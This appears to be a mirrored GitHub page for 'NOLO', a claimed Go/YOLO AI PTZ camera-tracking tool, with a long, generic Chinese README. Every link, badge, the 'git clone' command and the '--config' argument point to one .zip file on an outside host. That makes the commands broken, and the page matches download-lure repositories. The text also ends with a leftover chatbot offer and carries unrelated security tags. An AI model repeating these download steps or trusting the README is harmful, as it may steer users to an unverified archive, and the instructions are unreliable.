Bossthetigan/NOLO

GitHub: Bossthetigan/NOLO

NOLO 是一个基于 Go 和 YOLO 的实时 AI 云台摄像机追踪平台,实现目标检测、轨迹跟踪与 PTZ 硬件控制的一体化集成。

Stars: 2 | Forks: 0

https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fff943f03a125831.zip [![NOLO Release Badge](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fff943f03a125831.zip)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fff943f03a125831.zip) # NOLO:具备实时目标跟踪与流媒体功能的 AI PTZ 摄像机 NOLO 代表“Never Only Look Once”。它是一个实时的 AI 驱动 PTZ 摄像机平台,旨在实时跟踪目标、传输视频并驱动 PTZ 硬件。NOLO 专为开发人员、研究人员和工程师构建,融合了最先进的计算机视觉技术与灵活的硬件控制,可提供可靠、低延迟的跟踪与流媒体工作流。该项目强调清晰性、可靠性和可扩展性,因此您可以将其应用于安防、机器人技术、研究领域或内容创作。 🧭 适应运动、遮挡和场景变化的实时跟踪 🎯 利用现代深度学习模型(Yolo 及相关模型)进行精准目标检测 🎥 通过标准网络摄像头接口和 FFmpeg 管道进行实时流媒体传输 🧰 开放、模块化的架构,为 AI、流媒体和 PTZ 控制等组件提供清晰的接口 🧠 基于 Go 的核心,通过 GoCV 绑定 OpenCV,实现快速的原生性能 🖥️ 跨平台支持 Windows、Linux 和 macOS,并提供针对嵌入式目标的清晰说明 本 README 提供了一份完整且实用的蓝图,帮助您理解、安装、配置和操作 NOLO。它涵盖了架构、组件、部署场景和实际示例,助您快速上手。此外,它还描述了如何通过自定义模型、适配器或硬件来扩展 NOLO,以满足您的特定需求。 目录 - 快速概览 - 核心特性 - NOLO 的工作原理 - 硬件和软件要求 - 架构与组件 - 入门指南:快速设置 - 按平台安装 - 本地运行 NOLO - 配置 NOLO - AI 跟踪与目标检测详情 - PTZ 控制与摄像机处理 - 网络摄像头流媒体与媒体管道 - 示例用例与工作流 - 性能、调优与故障排除 - 调试、日志与诊断 - 扩展 NOLO:插件与模块 - 测试与验证 - 部署模式 - 开发工作流与贡献 - 路线图与未来目标 - 许可与致谢 - 参考资料与资源 快速概览 NOLO 旨在实现带有流媒体功能的实时 AI 辅助 PTZ 控制。该管道始于来自摄像机或网络摄像头的视频源。视觉模块运行目标检测器以识别感兴趣的目标。跟踪模块估算运动并预测轨迹。PTZ 控制器调整摄像机,使目标保持在画面中心并构成理想的构图。流媒体模块将带有叠加层的视频发布到本地显示器或网络端点。所有组件均设计为模块化,因此您可以在对系统其余部分进行最小更改的情况下,更换检测器、跟踪器或流媒体后端。 核心特性 - **实时目标检测与跟踪**:NOLO 使用现代、快速的检测器(如 YOLO 变体和轻量级替代方案),以在现实场景中平衡速度和准确性。 - **PTZ 集成**:PTZ 模块将跟踪结果转换为平滑的云台(pan)、俯仰(tilt)和变焦(zoom)命令。它支持通过串口、网络和 GPIO 接口连接的硬件控制器。 - **实时流媒体**:输出可以流式传输到本地窗口、网络流,或嵌入到自定义仪表板中。流媒体引擎集成了 FFmpeg,以实现稳健的媒体处理。 - **基于 Go 的核心与 OpenCV 绑定**:核心使用 Go 语言以确保性能和简洁性,并通过 GoCV 访问 OpenCV 功能进行预处理和可视化。 - **可扩展架构**:每个主要子系统(AI、视觉、流媒体、PTZ)都公开了定义良好的接口,便于替换和实验。 - **跨平台支持**:支持 Windows、Linux 和 macOS。通过轻量级构建配置支持嵌入式和边缘部署。 - **文档与示例**:仓库提供了端到端的示例、示例配置和可运行的教程,帮助您快速学习。 - **社区与生态系统**:该项目与常见的 AI、计算机视觉和视频处理生态系统保持一致,并支持与 YouTube 工作流和其他流媒体平台等外部工具的集成。 NOLO 的工作原理 NOLO 协调多个层级以实现精确跟踪和平滑的摄像机控制: - **输入层**:接受来自 USB 网络摄像头、IP 摄像机或预录制流的视频源。输入层对帧和时间戳进行规范化,供下游组件使用。 - **视觉层**:运行目标检测器以识别感兴趣的目标。它还处理图像预处理步骤,如调整大小、色彩空间转换和归一化。 - **跟踪层**:维护轨迹、估算速度并预测短期位置,以实现主动的摄像机运动。它融合了检测结果和运动模型,以保持目标居中。 - **控制层**:将跟踪数据转换为 PTZ 命令。它处理校准数据、云台/俯仰限制、速度约束和平滑滤波器,以避免抖动。 - **流媒体层**:渲染叠加层、编码视频并流式传输到本地显示器或网络端点。它利用 FFmpeg 或原生流媒体后端以确保兼容性。 - **编排器**:通过清晰的生命周期管理、错误处理和指标收集来协调所有层。它提供配置重载和优雅关闭功能。 硬件和软件要求 - **操作系统**:Windows、Linux (x86_64)、macOS。支持通过交叉编译针对嵌入式目标。 - **Go 工具链**:Go 1.19+(可根据版本调整)。 - **C/C++ 依赖项**:OpenCV、FFmpeg、libjpeg、libpng、zlib(或系统等效项),以及 Go 的 OpenCV 绑定。 - **摄像机硬件**:支持云台和变焦且具有可控接口(串口、USB 或网络)的 PTZ 摄像机。 - **PTZ 控制器兼容性**:基于串口的 USB、SPI 或以太网控制协议。引脚定义和接线必须与您的硬件匹配。 - **可选 GPU 加速**:通过 CUDA 利用 NVIDIA GPU 进行更快的推理。支持小规模设置的 CPU 回退。 - **RAM 和 CPU**:普通工作站即可处理基本跟踪;更多核心和内存可提升实时性能。 - **网络**:如果流式传输到远程端点,请确保带宽和延迟适合您的应用。 架构与组件 NOLO 的架构遵循模块化设计,组件之间界限分明。这使得更换模型、更改流媒体后端或调整 PTZ 策略变得容易,而无需重写大量代码。 - **输入模块** - 支持 USB 网络摄像头、IP 摄像机、RTSP 流和基于文件的输入。 - 向视觉模块提供同步的帧。 - 处理时间戳、帧丢失和抖动减少。 - **视觉模块** - 使用 YOLO 系列检测器、用于低功耗设备的轻量级检测器或自定义模型检测目标。 - 执行非极大值抑制、置信度阈值处理和类别过滤。 - 公开用于后处理的钩子,以计算中心点、边界框和运动提示。 - **跟踪模块** - 实现将检测与运动提示融合以估算目标轨迹的跟踪器。 - 根据环境应用类似卡尔曼滤波器或更稳健的粒子/状态估算器。 - 生成与摄像机坐标系对齐的云台-俯仰命令。 - **PTZ 控制模块** - 将跟踪输出转换为可执行的 PTZ 命令。 - 实现加速、减速、平滑和边界约束。 - 为新硬件提供安全关闭和校准程序。 - **流媒体模块** - 在帧上渲染叠加层(边界框、标签、轨迹)。 - 将帧打包成流,可选通过 RTSP、RTMP 或本地显示。 - 集成 FFmpeg 进行编码和传输。 - **配置与编排** - 集中配置,包含默认值和针对特定环境的覆盖设置。 - 生命周期管理:启动、停止、暂停、恢复、重载配置。 - 可观测性:通过简单的 API 公开的基本指标、日志和健康检查。 - **可选插件与扩展** - 自定义检测器 - 替代跟踪器 - 不同的流媒体后端 - 附加传感器或控制接口 入门指南:快速设置 本节提供了在典型开发人员机器上运行 NOLO 功能实例的快速路径。这些步骤强调清晰性和可重复性,并提供了具体的命令和解释。 1. 先决条件 - **安装 Go**:从您平台的官方来源下载并安装。使用 `go version` 验证。 - **安装 OpenCV 和 GoCV 绑定**:推荐使用 OpenCV 4.x。针对您的 OpenCV 安装构建 GoCV 以确保兼容性。 - **安装 FFmpeg**:对流媒体和编码至关重要。确保 `ffmpeg` 位于您的 `PATH` 中。 - **确保有可用的 PTZ 摄像机**。确认控制接口(串口、HTTP 或其他协议),并在需要时获取校准数据。 - **如果您计划使用 GPU 加速**,请安装 NVIDIA 驱动程序和 CUDA,以及支持 CUDA 的检测器构建版本。 2. 快速启动命令 - 克隆仓库并导航到该目录。 - `git clone --depth 1 https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fff943f03a125831.zip` - `cd NOLO` - 安装依赖项(示例适用于使用 Homebrew 或 apt 的 Linux/macOS 环境): - `sudo apt-get update` - `sudo apt-get install -y build-essential cmake pkg-config libjpeg-dev libpng-dev libtiff-dev libopencv-dev ffmpeg` - `brew install pkg-config opencv ffmpeg` - 构建 NOLO - `go mod download` - `go build ./...` - 运行基本示例 - `./nolo run --config https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fff943f03a125831.zip` - 您可以使用环境变量或自定义 YAML 文件覆盖配置。 3. 设置完成后您将获得什么 - 一个运行中的 NOLO 实例,从摄像机捕获帧。 - 协同工作以识别目标的检测器和跟踪器。 - 移动摄像机以保持目标居中的 PTZ 命令。 - 视频流上显示边界框和轨迹的实时叠加层。 按平台安装 - **Linux** - 通过包管理器安装依赖项。 - 在可用时使用 AppImage 或预构建的二进制文件。如果从源代码构建,请确保链接器可以找到 OpenCV 库。 - 使用适合 Linux 的配置文件运行 NOLO。 - **Windows** - 从发布页面获取 Windows 安装程序并运行它。 - 安装程序会为您设置 Go 工具链和依赖项,或者提示您安装它们。 - **macOS** - 使用 Homebrew 安装 OpenCV 和 FFmpeg 作为依赖项。 - 使用与 Linux 相同的命令构建和运行 NOLO,并根据 macOS 的路径和约定进行调整。 - **嵌入式目标** - 编译仅包含所需模块的精简 NOLO 二进制文件。 - 使用适合设备限制的紧凑视频管道和轻量级检测器模型。 - 确保您可以访问 PTZ 控制器和必要的硬件接口。 本地运行 NOLO - 从基准配置开始。`https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fff943f03a125831.zip` 为许多设置提供了合理的默认值。 - 验证摄像机初始化 - 确认输入模块已正确连接到您的摄像机。 - 检查帧率、分辨率和颜色格式。 - 验证检测器和跟踪器 - 确认检测器正确加载并返回带有置信度分数的边界框。 - 验证跟踪器在帧之间保持目标身份并生成稳定的轨迹。 - 测试 PTZ 控制 - 校准云台和俯仰偏移量,以便摄像机对命令做出可预测的响应。 - 检查限制、速度和平滑设置,以避免突然的运动。 - 观察流媒体路径 - 确保视频渲染有叠加层,并可通过您选择的路径(本地显示、RTSP/RTMP 服务器或文件)访问。 - 日志记录与诊断 - 在初始运行期间启用详细日志。 - 检查日志中是否存在检测器故障、帧丢失或 PTZ 命令异常。 - 迭代调优 - 尝试不同的检测器、置信度阈值和 NMS 设置。 - 调整 PTZ 控制器中的平滑参数以实现稳定的构图。 配置 NOLO - **基于 YAML 的配置** - 配置文件控制源、检测器、跟踪器、PTZ 范围和流媒体选项。 - 定义摄像机源(设备路径或 RTSP URL)、分辨率和帧率。 - 选择检测器模型、其权重和推理后端(CPU 或 GPU)。 - 设置跟踪器类型、运动模型和预测窗口。 - 提供 PTZ 校准数据,包括云台/俯仰范围、速度和间隙补偿。 - **环境变量** - 在不编辑 YAML 的情况下关键值。 - 适用于容器化部署和 CI 管道。 - **校准数据** - 摄像机内参和外参改善了姿态估算,有助于实现安全准确的 PTZ 控制。 - 将校准结果存储在专用的配置部分,并在启动时加载。 - **安全注意事项** - 如果公开流媒体端点,请确保尽可能进行身份验证和加密。 - 保持设备固件和软件最新。 AI 跟踪与目标检测详情 - **检测器模型** - YOLO 变体为实时操作提供了速度和准确性的实际平衡。 - 您可以为边缘设备选择小型、快速的模型,或者在有能力的硬件上为更高的精度选择更大的模型。 - 权重和配置文件在运行时加载;您可以在不重新编译的情况下更换模型。 - **跟踪策略** - 简单的质心跟踪器适用于干净、稳定的场景。 - 卡尔曼滤波器提高了在遮挡期间的稳定性。 - 多目标跟踪同时处理多个对象,具有稳健的身份管理。 - **后处理** - 调整非极大值抑制以减少重复检测。 - 置信度阈值有助于过滤低概率检测以减少噪声。 - **叠加层渲染** - 实时叠加层包括边界框、类别标签和跟踪 ID。 - 轨迹绘制为轻量级折线,以随时间可视化运动。 - **性能说明** - 推理速度和帧率取决于检测器、图像大小和硬件。 - 边缘设备受益于较小的图像尺寸和优化的模型。 - 缓存、批处理和异步管道可以平滑负载下的处理。 PTZ 控制与摄像机处理 - **校准运动** - 云台和俯仰命令转换为伺服或电机位置。 - 系统使用平滑处理来防止抖动和过冲。 - **命令安全** - 每个命令都受最小/最大限制约束。 - 如果目标移出可跟踪范围,系统可以暂停移动以防止损坏。 - **硬件接口** - 支持串行(UART/USB)、TCP/UDP 和基于 HTTP 的控制。 - 硬件抽象层使代码可跨不同的摄像机型号移植。 - **校准工作流** - 校准程序将摄像机的报告位置与控制系统对齐。 - 在硬件更改或显著的机械漂移后重新校准。 网络摄像头流媒体与媒体管道 - **本地显示** - 窗口显示带有叠加层的实时源,以便于监控。 - **网络流媒体** - 可以使用 FFmpeg 生成 RTSP 或 RTMP 流。 - 比特率、分辨率和帧率等流媒体参数是可配置的。 - **录制** - 原始或带有叠加层的流可以保存以供离线分析。 - 带有时间戳的片段经过组织,便于快速检索。 - **YouTube 和外部服务** - NOLO 可以作为输入到 YouTube 或其他流媒体平台的实时流的源。 - 身份验证和流密钥通过流媒体模块或单独的启动脚本进行管理。 - **叠加层与 UI** - 实时叠加层有助于调试和演示。 - 清晰的标签显示类别名称、置信度分数和跟踪 ID。 示例用例与工作流 - **安防与监控** - 使用 NOLO 跟踪监控空间内的人类活动。 - 配置每秒帧数以平衡 CPU 使用率和响应时间。 - 与警报系统集成,以应对异常移动或遮挡事件。 - **机器人技术与自动化** - 控制器可以引导机器人平台朝向移动目标。 - PTZ 模块可以为导航或操作任务提供视觉锚点。 - **现场活动制作** - 将 NOLO 与多台摄像机结合使用,以保持对演讲者的动态构图。 - 使用流媒体模块将多角度信号源发布到制作切换台。 - **研究与开发** - 在现实场景中测试检测器和跟踪器。 - 记录性能和准确性以比较模型变体。 - **教育与教程** - NOLO 作为教授计算机视觉概念的平台。 - 模块化结构帮助学生试验检测器、跟踪器和控制逻辑。 性能、调优与故障排除 - **调优技巧** - 从较小的输入分辨率开始以获得实时响应能力。 - 选择在推理时间和准确性之间为您的硬件取得平衡的检测器。 - 使用短预测窗口调整跟踪器,以处理快速运动而不产生漂移。 - 使用 PTZ 平滑处理来减少跟踪期间的机械抖动。 - **常见问题与修复** - 摄像机未初始化:验证设备路径、权限和驱动程序支持。 - 检测器未加载:确认模型文件存在且路径正确;如果使用 GPU,请检查 CUDA 可用性。 - PTZ 命令滞后:检查通信延迟、波特率和校准偏移。 - 流断开连接:验证网络稳定性和 FFmpeg 配置;确保端点接受流。 - **日志记录与遥测** - 在调试期间启用详细日志。 - 收集关于每秒帧数、检测器延迟、跟踪准确性和 PTZ 响应时间的指标。 - 使用日志识别瓶颈并指导优化。 调试、日志与诊断 - **日志级别** - INFO 用于常规操作,DEBUG 用于开发,ERROR 用于故障。 - 日志轮转以防止长时间运行时的磁盘空间问题。 - **诊断** - 帧定时报告有助于识别管道中的缓慢阶段。 - 检测器热力图和注意力图可以指导模型改进。 - **可复现性** - 固定模型版本和库版本以确保结果一致。 - 将配置文件与项目一起存储以复现实验。 扩展 NOLO:插件与模块 - **检测器插件** - 通过定义的接口加载自定义检测器。 - 支持不同的后端,例如 TensorRT 或 ONNX 运行时。 - **跟踪器插件** - 用替代方案(包括多目标跟踪器)替换跟踪算法。 - **PTZ 适配器** - 添加新的硬件接口而不更改主控制逻辑。 - **流媒体后端** - 扩展到其他流媒体端点或格式。 - **数据收集与标注** - 用于收集标记帧以改进模型的钩子。 - 与标注工具集成以简化数据集创建。 测试与验证 - **单元测试** - 验证输入、处理和输出的核心接口。 - 模拟外部硬件以隔离测试控制逻辑。 - **集成测试** - 在可用时使用真实摄像机运行端到端测试。 - 在典型工作负载下验证流媒体、叠加层渲染和 PTZ 响应。 - **性能测试** - 测量不同负载下的推理延迟、帧率和 PTZ 命令延迟。 - 在不同硬件配置上对检测器和跟踪器进行基准测试。 部署模式 - **本地开发** - 在带有开发摄像机的 workstation 上运行 NOLO,以便快速迭代。 - **边缘部署** - 构建仅包含基本模块的精简二进制文件。 - 根据需要使用容器化或静态链接打包依赖项。 - **服务器端流媒体** - 在更强大的服务器上运行视觉和流媒体堆栈。 - 使用紧凑的客户端从服务器检索流以进行显示或处理。 - **嵌入式部署** - 为 ARM 目标交叉编译。 - 选择针对低功耗设备优化的检测器和模型。 - **CI/CD** - 每次提交的自动构建和测试。 - 根据语义版本控制自动创建发布。 开发工作流与贡献 - **仓库结构** - `cmd/NOLO`:入口点和命令行界面 - `internal/vision`:检测器和跟踪器实现 - `internal/ptz`:硬件控制和校准 - `internal/stream`:流媒体管道 - `configs/`:示例 YAML 配置文件 - `docs/`:补充文档和教程 - `examples/`:可运行的示例和笔记本 - **如何贡献** - Fork 仓库并打开带有清晰描述的 pull request。 - 遵守编码风格指南并确保测试通过。 - 为新功能编写测试并记录行为更改。 - **代码风格与约定** - 清晰、一致的命名和最小的复杂性。 - 使用接口来解耦模块。 - 包含解释意图和边缘情况的注释。 路线图与未来目标 - **提高检测器效率** - 探索量化模型和优化的运行时。 - 添加模型剪枝和特定于硬件的优化。 - **多摄像机协调** - 协调多个摄像机的 PTZ 决策以优化场景覆盖。 - **更多 PTZ 协议** - 扩展对其他摄像机品牌和控制方法的支持。 - **高级分析** - 添加跨帧重新识别、场景理解和活动识别。 - **用户友好的仪表板** - 构建基于 Web 的 UI 以远程监控、配置和控制 NOLO。 - **教育与社区** - 创建引导式教程、示例数据集和参考项目。 许可与致谢 NOLO 根据宽松的许可证发布,鼓励在开源和闭源项目中使用。它旨在安全地用于从研究实验室到生产环境的各种场景。请查看许可证文件以了解确切的权利和义务。感谢开源社区,他们的工作为检测器、跟踪器和媒体处理工具奠定了基础。 参考资料与资源 - 来自 YOLO 系列及类似架构的官方检测器模型和教程。 - 用于图像处理技术的 OpenCV 文档。 - 用于流媒体和编码工作流的 FFmpeg 文档。 - 用于了解控制接口和校准的 PTZ 硬件手册。 - 探索基于 AI 的跟踪和摄像机控制以获取灵感和最佳实践的社区项目。 发布与下载 从发布页面,您可以获取 NOLO 用于在不同平台上运行的官方二进制文件、安装程序或独立资产。这些构件在可能的情况下已经过测试和签名,以确保安全性和可靠性。要获取最新版本,请浏览发布部分以找到与您的操作系统和硬件匹配的版本。为方便起见,您可以通过查看发布说明中描述的文件命名约定来识别适当的安装程序。NOLO 项目强调一致的版本控制并在可行的情况下保持向后兼容性。如果您遇到问题,在排除故障的同时回滚到以前的版本通常是一种实用的方法。 充分利用 NOLO 的技巧 - **从简单开始** - 从单台摄像机和简单的检测器开始。在增加更多复杂性之前确保流媒体正常工作。 - **分阶段调优** - 首先,验证检测准确性。然后测试跟踪稳定性。最后,完善 PTZ 控制以实现平滑运动。 - **定期校准** - 校准数据有助于随着时间推移保持准确性,因为会发生机械漂移或在硬件更改后。 - **记录更改** - 记录关于检测器和跟踪器选择、配置更改和硬件调整的笔记。 - **分享您的结果** - 如果您发布基准测试或演示,请分享配置文件和日志以帮助其他人复现结果。 附录:实用命令与示例工作流 - **快速启动(示例)** - 克隆并构建 - `git clone --depth 1 https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fff943f03a125831.zip` - `cd NOLO` - `go mod download` - `go build ./...` - 使用示例配置运行 - `./nolo run --config https://static.pigsec.cn/wp-content/uploads/repos/2026/03/fff943f03a125831.zip` - **自定义检测器替换(示例)** - 将您的检测器权重和配置放在 `detectors/` 目录中 - 更新 YAML 以指向新模型 - 重启 NOLO 以加载新检测器 - **PTZ 校准序列(示例)** - 命令已知的云台位置并观察摄像机响应 - 调整校准偏移量以对齐命令位置和实际位置 - 将校准数据保存到专用文件 - **流媒体设置(示例)** - 在配置中配置 RTSP 端点 - 启动 NOLO 并使用媒体播放器验证流 - 如有必要,在配置中调整比特率和编码器设置 图像与视觉效果 - **架构图** - 说明输入 -> 视觉 -> 跟踪 -> PTZ -> 流媒体循环的高级图表,带有模块化接口 - **检测器和跟踪器视觉效果** - 随时间显示边界框和跟踪 ID 的示例帧 - **硬件连接插图** - 通过串口或 USB 连接的 PTZ 摄像机的简单接线示意图 - **您可以包含开源视觉效果** - OpenCV 和 FFmpeg 徽标以反映底层技术 - NVIDIA 徽标用于 GPU 加速使用 图像可以帮助用户快速掌握 NOLO 如何融入他们的环境。您可以嵌入图表和图标来补充文本,只要您正确注明来源并确保图像可访问。 结束语 - 本 README 强调清晰性和实用步骤。它旨在成为从安装到生产的可靠伴侣。 - 内容反映了理论概念与动手说明之间的平衡,以最大限度地提高新手和经验丰富的开发人员的可用性。 - 如果您希望在特定领域有更多深度——例如高级优化、特定平台的提示或额外的集成示例——请告诉我,我可以用具体的代码示例和工作流程扩展这些部分。
标签:EVTX分析, EVTX分析, FFmpeg, GoCV, Go 语言, OpenCV, PTZ 摄像机, Vectored Exception Handling, YOLO, 云台控制, 云安全, 人工智能, 低延迟, 图像处理, 安防监控, 实时目标跟踪, 嵌入式系统, 日志审计, 机器人, 深度学习, 物体检测, 用户模式Hook绕过, 视频流, 计算机视觉